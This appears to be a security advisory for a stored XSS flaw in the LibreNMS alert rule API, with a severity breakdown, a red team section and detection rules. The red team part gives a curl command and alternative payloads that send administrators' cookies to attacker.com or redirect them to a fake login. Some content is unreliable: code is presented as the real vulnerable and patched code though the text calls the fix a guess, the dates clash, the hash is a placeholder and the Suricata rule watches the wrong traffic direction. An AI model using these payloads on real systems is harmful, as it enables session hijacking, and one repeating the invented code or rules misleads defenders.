CVE-2025-68614

Executive Summary

CVE-2025-68614 is a stored cross-site scripting (XSS) vulnerability in LibreNMS, an open-source network monitoring tool. The flaw exists in the Alert Rule API, where the alert rule name field is not properly sanitized before being stored and later rendered. An authenticated attacker with API access can inject arbitrary HTML or JavaScript code into the alert rule name. When an administrator or other user views the alert rules list, the injected script executes in their browser session, potentially leading to session hijacking, data exfiltration, or further compromise within the LibreNMS web interface.

The vulnerability affects all versions prior to 25.12.0. The CVSS score is 4.3 (Medium), reflecting the requirement for authentication and user interaction. No public proof-of-concept or exploit code is available at this time. The vendor has released a patch in version 25.12.0.

Supply Chain & Package Security

LibreNMS is a PHP/MySQL/SNMP based application distributed via GitHub and Composer. The vulnerability is not in a third-party package but in the core application code. However, users should ensure they are using the official repository and verify the integrity of their installation. The patch is included in the standard release, so updating to the latest version is the primary remediation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network via the API.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - The attacker must have API access, typically requiring authentication.
• User Interaction (UI): Required (R) - The victim must view the alert rules page for the script to execute.
• Scope (S): Changed (C) - The injected script can affect resources beyond the vulnerable component (e.g., user sessions).
• Confidentiality (C): Low (L) - Limited data exposure possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement within the monitoring environment makes this a significant concern for organizations using LibreNMS.

Deep Dive & Mechanics

The vulnerability resides in the API endpoint used to create or update alert rules. The name parameter of the alert rule is not sanitized or encoded before being stored in the database. When the alert rules are displayed in the web interface (e.g., /alert-rules), the stored name is rendered without proper escaping, allowing HTML and JavaScript to be executed.

The attack flow is as follows:

1. An authenticated attacker sends a POST or PUT request to the API endpoint (e.g., /api/v0/alerts/rules) with a malicious payload in the name field, such as <script>alert('XSS')</script>.
2. The server stores the payload in the database without sanitization.
3. An administrator or other user navigates to the alert rules page.
4. The server retrieves the malicious name and renders it in the HTML response.
5. The victim's browser executes the injected script.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix in version 25.12.0 likely involves using htmlspecialchars() or similar PHP functions to escape the output, or validating the input to reject HTML tags.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-25.12.0):

// In the API controller for alert rules
public function store(Request $request) {
    $rule = new AlertRule();
    $rule->name = $request->input('name'); // No sanitization
    $rule->save();
    return response()->json($rule);
}

Patched Code (25.12.0):

// In the API controller for alert rules
public function store(Request $request) {
    $rule = new AlertRule();
    $rule->name = htmlspecialchars($request->input('name'), ENT_QUOTES, 'UTF-8'); // Sanitized
    $rule->save();
    return response()->json($rule);
}

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution. Alternatively, the patch might use a validation rule to reject HTML tags entirely.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the LibreNMS API with valid credentials (e.g., API token).
• Target LibreNMS version < 25.12.0.

Exploitation Steps:

1. Obtain an API token from the LibreNMS web interface (Admin > API > Tokens).
2. Send a POST request to create a new alert rule with a malicious name:

   curl -X POST "https://target.lnms/api/v0/alerts/rules" \
        -H "X-Auth-Token: YOUR_API_TOKEN" \
        -H "Content-Type: application/json" \
        -d '{"name":"<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>","builder":"{\"condition\":\"AND\",\"rules\":[]}"}'
   

3. Wait for an administrator to view the alert rules page.
4. The injected script will execute, sending the victim's cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>new Image().src="https://attacker.com/steal?cookie="+document.cookie</script>
• Phishing: <script>document.location="https://attacker.com/fake-login"</script>

Blue Team

Detection:

• Monitor API logs for unusual POST/PUT requests to /api/v0/alerts/rules containing HTML tags or JavaScript in the name field.
• Use web application firewall (WAF) rules to block requests with <script> tags in JSON payloads.
• Review alert rule names for suspicious content.

Hunting:

• Query the database for alert rules containing HTML tags:

  SELECT * FROM alert_rules WHERE name LIKE '%<script%' OR name LIKE '%<img%' OR name LIKE '%onerror%';
  

• Check web server logs for requests to /alert-rules from users who may have been targeted.

Prevention:

• Apply the patch by upgrading to LibreNMS version 25.12.0 or later.
• Implement input validation and output encoding for all user-supplied data.
• Restrict API access to trusted users and networks.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/v0/alerts/rules with name parameter containing <script>, <img>, or other HTML tags.
  • Outbound connections from the LibreNMS server to unknown external hosts (e.g., attacker-controlled servers).
• Host:
  • Alert rule names in the database containing HTML or JavaScript code.
  • Unusual entries in the alert_rules table.
• Logs:
  • Web server logs showing 200 responses to /api/v0/alerts/rules with suspicious payloads.
  • API access logs from unexpected IP addresses or user agents.

Detection Engineering

YARA Rule

rule CVE_2025_68614_LibreNMS_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in LibreNMS alert rule names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68614"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss_payload_1 = /<script[^>]*>.*<\/script>/i
        $xss_payload_2 = /<img[^>]*onerror\s*=/i
        $xss_payload_3 = /<svg[^>]*onload\s*=/i
        $xss_payload_4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-68614 - LibreNMS Alert Rule API Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in LibreNMS alert rule API
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-68614
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/v0/alerts/rules'
        cs-request-body|contains:
            - '<script'
            - '<img'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in alert rule names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68614 - LibreNMS Alert Rule API Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v0/alerts/rules"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 25.12.0 or later.
2. If immediate upgrade is not possible, restrict API access to trusted IP addresses and users.
3. Implement a WAF rule to block requests containing HTML tags in the name parameter.

Long-Term Measures:

• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits of the LibreNMS installation.
• Monitor for new CVEs and apply patches promptly.
• Use a content security policy (CSP) header to mitigate XSS impact.

Workaround:

• Manually sanitize alert rule names by editing the database or using a reverse proxy to filter API requests.

Valters IT
Securing Your Digital Infrastructure